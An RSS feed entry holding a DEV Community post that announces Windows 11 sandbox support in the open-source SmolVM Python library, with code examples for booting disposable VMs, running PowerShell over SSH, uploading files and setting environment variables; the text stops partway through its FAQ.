<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Aniket Maurya</title>
    <description>The latest articles on DEV Community by Aniket Maurya (@aniketmaurya).</description>
    <link>https://dev.to/aniketmaurya</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F274492%2F32b0da35-e0ea-43d3-945f-e44ee4dd94de.jpg</url>
      <title>DEV Community: Aniket Maurya</title>
      <link>https://dev.to/aniketmaurya</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/aniketmaurya"/>
    <language>en</language>
    <item>
      <title>Open Source Windows Sandbox in Python: Run Windows 11 on Linux with SmolVM</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Tue, 26 May 2026 14:33:25 +0000</pubDate>
      <link>https://dev.to/aniketmaurya/open-source-windows-sandbox-in-python-run-windows-11-on-linux-with-smolvm-4aig</link>
      <guid>https://dev.to/aniketmaurya/open-source-windows-sandbox-in-python-run-windows-11-on-linux-with-smolvm-4aig</guid>
      <description>&lt;p&gt;Linux-only sandboxes will not automate the world.&lt;/p&gt;

&lt;p&gt;A lot of business software does not live inside a clean Linux container.&lt;/p&gt;

&lt;p&gt;It lives on Windows.&lt;/p&gt;

&lt;p&gt;Desktop apps. Legacy ERPs. Transport systems. Insurance tools. Back-office workflows. Internal software with no API, no docs, and no clean path for integration.&lt;/p&gt;

&lt;p&gt;That is the awkward truth for computer-use agents.&lt;/p&gt;

&lt;p&gt;If agents need to do real work, they need to run where the work already happens. For many companies, that means Windows.&lt;/p&gt;

&lt;p&gt;That is why we added &lt;strong&gt;Windows sandboxes&lt;/strong&gt; to &lt;strong&gt;&lt;a href="https://github.com/CelestoAI/SmolVM" rel="noopener noreferrer"&gt;SmolVM&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;SmolVM can now boot an isolated Windows 11 VM from Python, run PowerShell commands over SSH, upload files into Windows paths, pass environment variables, and discard the VM after the task.&lt;/p&gt;

&lt;p&gt;This is V1. It is not magic. It is the foundation for a more realistic agent runtime.&lt;/p&gt;

&lt;p&gt;Agents need computers.&lt;/p&gt;

&lt;p&gt;Some of those computers need to run Windows.&lt;/p&gt;

&lt;h2&gt;
  
  
  What do we mean by “Windows sandbox”?
&lt;/h2&gt;

&lt;p&gt;First, a clarification.&lt;/p&gt;

&lt;p&gt;Microsoft already has a product called &lt;strong&gt;Windows Sandbox&lt;/strong&gt;. It is a built-in Windows feature that gives users a temporary isolated desktop environment for safe app testing and file inspection on supported Windows editions.&lt;/p&gt;

&lt;p&gt;SmolVM solves a different problem.&lt;/p&gt;

&lt;p&gt;In this post, “Windows sandbox” means a disposable Windows 11 virtual machine controlled by SmolVM from Python on a Linux host.&lt;/p&gt;

&lt;p&gt;The difference is important:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Microsoft Windows Sandbox is a local desktop feature for Windows users.&lt;/li&gt;
&lt;li&gt;SmolVM Windows sandboxes are programmable Windows VMs for developers, agents, test systems, and automation pipelines.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With SmolVM, you can start a Windows VM from Python, run commands, upload files, pass config, and delete the machine when the task ends.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Windows support matters
&lt;/h2&gt;

&lt;p&gt;The first wave of AI agents wrote code.&lt;/p&gt;

&lt;p&gt;The next wave needs computers.&lt;/p&gt;

&lt;p&gt;Not just terminals. Not just containers. Real computers.&lt;/p&gt;

&lt;p&gt;Agents will need to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;open business software&lt;/li&gt;
&lt;li&gt;inspect files&lt;/li&gt;
&lt;li&gt;read screens&lt;/li&gt;
&lt;li&gt;click buttons&lt;/li&gt;
&lt;li&gt;run scripts&lt;/li&gt;
&lt;li&gt;use desktop apps&lt;/li&gt;
&lt;li&gt;complete workflows across messy systems&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A Linux sandbox works well for code execution. But it does not cover the full automation surface.&lt;/p&gt;

&lt;p&gt;A logistics agent may need a transport management system.&lt;/p&gt;

&lt;p&gt;An insurance agent may need a claims desktop app.&lt;/p&gt;

&lt;p&gt;A finance agent may need an internal Windows-only tool.&lt;/p&gt;

&lt;p&gt;A support agent may need back-office software that never had an API.&lt;/p&gt;

&lt;p&gt;A serious agent infrastructure stack cannot pretend every workflow happens inside Ubuntu.&lt;/p&gt;

&lt;h2&gt;
  
  
  Run a Windows sandbox from Python
&lt;/h2&gt;

&lt;p&gt;SmolVM gives Windows guests the same core Python API used for Linux guests.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;smolvm&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SmolVM&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;windows&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;~/.smolvm/images/win11.qcow2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;ssh_user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;smolvm&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;ssh_password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;smolvm&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;wait_for_ssh&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Write-Output &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;hello from windows&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This starts a Windows 11 VM, waits for SSH, runs a PowerShell command, and exits.&lt;/p&gt;

&lt;p&gt;On context exit, SmolVM stops and deletes the VM.&lt;/p&gt;

&lt;p&gt;That is the core primitive: a disposable Windows computer from Python.&lt;/p&gt;

&lt;h2&gt;
  
  
  Run a Windows sandbox on Linux or Ubuntu
&lt;/h2&gt;

&lt;p&gt;SmolVM Windows guests run on Linux hosts with QEMU and KVM.&lt;/p&gt;

&lt;p&gt;On Debian or Ubuntu, install the host prerequisites:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt-get &lt;span class="nb"&gt;install &lt;/span&gt;qemu-system-x86 ovmf swtpm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Windows 11 needs UEFI and TPM 2.0. SmolVM handles the OVMF firmware state, starts a per-VM software TPM process, wires QEMU, and sets up SSH access.&lt;/p&gt;

&lt;p&gt;You still need a Windows disk image. SmolVM does not ship a Windows image.&lt;/p&gt;

&lt;p&gt;You can either bring your own Windows 11 &lt;code&gt;.qcow2&lt;/code&gt; image or create one with the SmolVM CLI.&lt;/p&gt;

&lt;h2&gt;
  
  
  Build a Windows 11 sandbox image
&lt;/h2&gt;

&lt;p&gt;If you do not already have a Windows &lt;code&gt;.qcow2&lt;/code&gt;, use:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smolvm windows build-image &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--iso&lt;/span&gt; ./Win11.iso &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--virtio-win-iso&lt;/span&gt; ./virtio-win.iso &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--output&lt;/span&gt; ~/.smolvm/images/win11.qcow2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You provide:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a Windows 11 ISO&lt;/li&gt;
&lt;li&gt;the virtio-win driver ISO&lt;/li&gt;
&lt;li&gt;an output path for the &lt;code&gt;.qcow2&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The build command creates a Windows image with OpenSSH Server, virtio-win drivers, and a local admin account.&lt;/p&gt;

&lt;p&gt;Once the image exists, you can boot it like any other SmolVM guest:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;smolvm&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SmolVM&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;windows&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;~/.smolvm/images/win11.qcow2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;ssh_user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;smolvm&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;ssh_password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;smolvm&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;wait_for_ssh&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hostname&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Run PowerShell inside the Windows sandbox
&lt;/h2&gt;

&lt;p&gt;On Linux guests, &lt;code&gt;vm.run(...)&lt;/code&gt; executes shell commands.&lt;/p&gt;

&lt;p&gt;On Windows guests, &lt;code&gt;vm.run(...)&lt;/code&gt; executes PowerShell.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Write-Output &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;hello from windows&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit_code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(Get-Item C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;Windows).Name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;SmolVM runs the command through PowerShell over SSH.&lt;/p&gt;

&lt;p&gt;That means your automation code can treat the Windows sandbox as a programmable runtime, not just a manually operated VM.&lt;/p&gt;

&lt;h2&gt;
  
  
  Upload files into Windows paths
&lt;/h2&gt;

&lt;p&gt;A useful Windows sandbox needs file transfer.&lt;/p&gt;

&lt;p&gt;SmolVM supports Windows-style paths:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;upload_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;./hello.ps1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;Users&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;smolvm&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;scripts&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;hello.ps1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;powershell.exe -File C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;Users&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;smolvm&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;scripts&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;hello.ps1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is useful for scripts, test data, config files, installers, and agent artifacts.&lt;/p&gt;

&lt;p&gt;SmolVM also creates missing parent directories on the Windows side.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pass environment variables into Windows
&lt;/h2&gt;

&lt;p&gt;Agents need config.&lt;/p&gt;

&lt;p&gt;Sometimes they need runtime flags. Sometimes they need temporary credentials. Sometimes they need a mode switch.&lt;/p&gt;

&lt;p&gt;SmolVM supports environment variables for Windows guests:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;smolvm&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SmolVM&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;windows&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;~/.smolvm/images/win11.qcow2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;ssh_user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;smolvm&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;ssh_password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;smolvm&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;env_vars&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;APP_MODE&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;production&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;wait_for_ssh&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;$env:APP_MODE&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On Windows, SmolVM writes variables into the per-user environment store.&lt;/p&gt;

&lt;p&gt;Each &lt;code&gt;vm.run(...)&lt;/code&gt; call opens a fresh SSH session, so new commands can read the updated variables.&lt;/p&gt;

&lt;h2&gt;
  
  
  The baseline image stays clean
&lt;/h2&gt;

&lt;p&gt;A sandbox should be safe to destroy.&lt;/p&gt;

&lt;p&gt;SmolVM keeps your baseline Windows image read-only. Each VM gets its own thin &lt;code&gt;qcow2&lt;/code&gt; overlay.&lt;/p&gt;

&lt;p&gt;That gives you a clean model:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the golden Windows image stays unchanged&lt;/li&gt;
&lt;li&gt;each sandbox gets separate disk state&lt;/li&gt;
&lt;li&gt;multiple sandboxes can share the same baseline&lt;/li&gt;
&lt;li&gt;crashes do not corrupt the base image&lt;/li&gt;
&lt;li&gt;task state can vanish when the VM is deleted&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This matters for agents.&lt;/p&gt;

&lt;p&gt;Agents make mistakes. They can run unsafe commands. They can install bad packages. They can touch files they should not touch. They can get prompt-injected.&lt;/p&gt;

&lt;p&gt;The answer is not “trust the agent.”&lt;/p&gt;

&lt;p&gt;The answer is: give the agent a disposable computer.&lt;/p&gt;

&lt;h2&gt;
  
  
  SmolVM vs Microsoft Windows Sandbox
&lt;/h2&gt;

&lt;p&gt;Microsoft Windows Sandbox is great when you want a temporary Windows desktop on a Windows machine.&lt;/p&gt;

&lt;p&gt;SmolVM is for a different use case.&lt;/p&gt;

&lt;p&gt;Use Microsoft Windows Sandbox when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;you are on a Windows host&lt;/li&gt;
&lt;li&gt;you want a local temporary desktop&lt;/li&gt;
&lt;li&gt;you want to manually test an app or file&lt;/li&gt;
&lt;li&gt;you do not need a Python API&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Use SmolVM when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;you are on a Linux host&lt;/li&gt;
&lt;li&gt;you want to control Windows from Python&lt;/li&gt;
&lt;li&gt;you need command execution&lt;/li&gt;
&lt;li&gt;you need file upload&lt;/li&gt;
&lt;li&gt;you need env vars&lt;/li&gt;
&lt;li&gt;you want disposable VMs for agents, tests, or automation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is the distinction.&lt;/p&gt;

&lt;p&gt;SmolVM is not a replacement for every Windows Sandbox use case.&lt;/p&gt;

&lt;p&gt;It is an open-source runtime for programmable Windows sandboxes.&lt;/p&gt;

&lt;h2&gt;
  
  
  What works today
&lt;/h2&gt;

&lt;p&gt;Windows support in SmolVM is V1.&lt;/p&gt;

&lt;p&gt;Today, it supports:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Windows 11 guests&lt;/li&gt;
&lt;li&gt;Python API via &lt;code&gt;SmolVM(...)&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;PowerShell commands via &lt;code&gt;vm.run(...)&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;file upload into Windows paths&lt;/li&gt;
&lt;li&gt;environment variables&lt;/li&gt;
&lt;li&gt;Windows image creation via CLI&lt;/li&gt;
&lt;li&gt;QEMU + KVM on Linux hosts&lt;/li&gt;
&lt;li&gt;per-VM disk overlays&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is enough for command-level Windows automation, test systems, and the base layer for agent workflows.&lt;/p&gt;

&lt;h2&gt;
  
  
  Current limitations
&lt;/h2&gt;

&lt;p&gt;The first version is deliberately narrow.&lt;/p&gt;

&lt;p&gt;Today, Windows guests do not support:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;macOS hosts&lt;/li&gt;
&lt;li&gt;host folder mounts&lt;/li&gt;
&lt;li&gt;network allowlists and egress controls&lt;/li&gt;
&lt;li&gt;snapshots&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Those features raise clear errors instead of silent failures.&lt;/p&gt;

&lt;p&gt;Also, SmolVM does not currently ship a published Windows image. You need to bring or create a Windows 11 &lt;code&gt;.qcow2&lt;/code&gt; image.&lt;/p&gt;

&lt;p&gt;This is important. Windows support is useful today, but it is still V1.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this matters for computer-use agents
&lt;/h2&gt;

&lt;p&gt;A lot of agent infrastructure still assumes the world is Linux.&lt;/p&gt;

&lt;p&gt;That assumption breaks as soon as agents leave code tasks and enter real business workflows.&lt;/p&gt;

&lt;p&gt;Real work happens in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;browsers&lt;/li&gt;
&lt;li&gt;terminals&lt;/li&gt;
&lt;li&gt;file systems&lt;/li&gt;
&lt;li&gt;desktop apps&lt;/li&gt;
&lt;li&gt;old ERPs&lt;/li&gt;
&lt;li&gt;customer portals&lt;/li&gt;
&lt;li&gt;internal tools&lt;/li&gt;
&lt;li&gt;Windows-only software&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Computer-use agents need runtime environments that match that world.&lt;/p&gt;

&lt;p&gt;Linux containers are part of the answer.&lt;/p&gt;

&lt;p&gt;They are not the whole answer.&lt;/p&gt;

&lt;p&gt;If an agent needs to operate Windows software, it needs a Windows computer. That computer should be isolated, disposable, programmable, and easy to start from code.&lt;/p&gt;

&lt;p&gt;That is the direction SmolVM is moving toward.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Is SmolVM the same as Microsoft Windows Sandbox?
&lt;/h3&gt;

&lt;p&gt;No.&lt;/p&gt;

&lt;p&gt;Microsoft Windows Sandbox is a built-in Windows feature for a temporary desktop environment on supported Windows editions.&lt;/p&gt;

&lt;p&gt;SmolVM Windows sandboxes are Windows 11 VMs that run on a Linux host and can be controlled from Python.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I run a Windows sandbox from Python?
&lt;/h3&gt;

&lt;p&gt;Yes.&lt;/p&gt;

&lt;p&gt;With SmolVM, you can start a Windows 11 sandbox from Python, wait for SSH, run PowerShell commands, upload files, pass environment variables, and delete the VM after the task.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I run a Windows sandbox on Ubuntu?
&lt;/h3&gt;

&lt;p&gt;Yes.&lt;/p&gt;

&lt;p&gt;SmolVM Windows guests run on Linux hosts with QEMU and KVM. On Ubuntu or Debian, install:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt-get &lt;span class="nb"&gt;install &lt;/span&gt;qemu-system-x86 ovmf swtpm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Does SmolVM provide a Windows image?
&lt;/h3&gt;

&lt;p&gt;No.&lt;/p&gt;

&lt;p&gt;You need to bring a Windows 11 &lt;code&gt;.qcow2&lt;/code&gt; image or create one from a Windows ISO and the virtio-win driver ISO with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
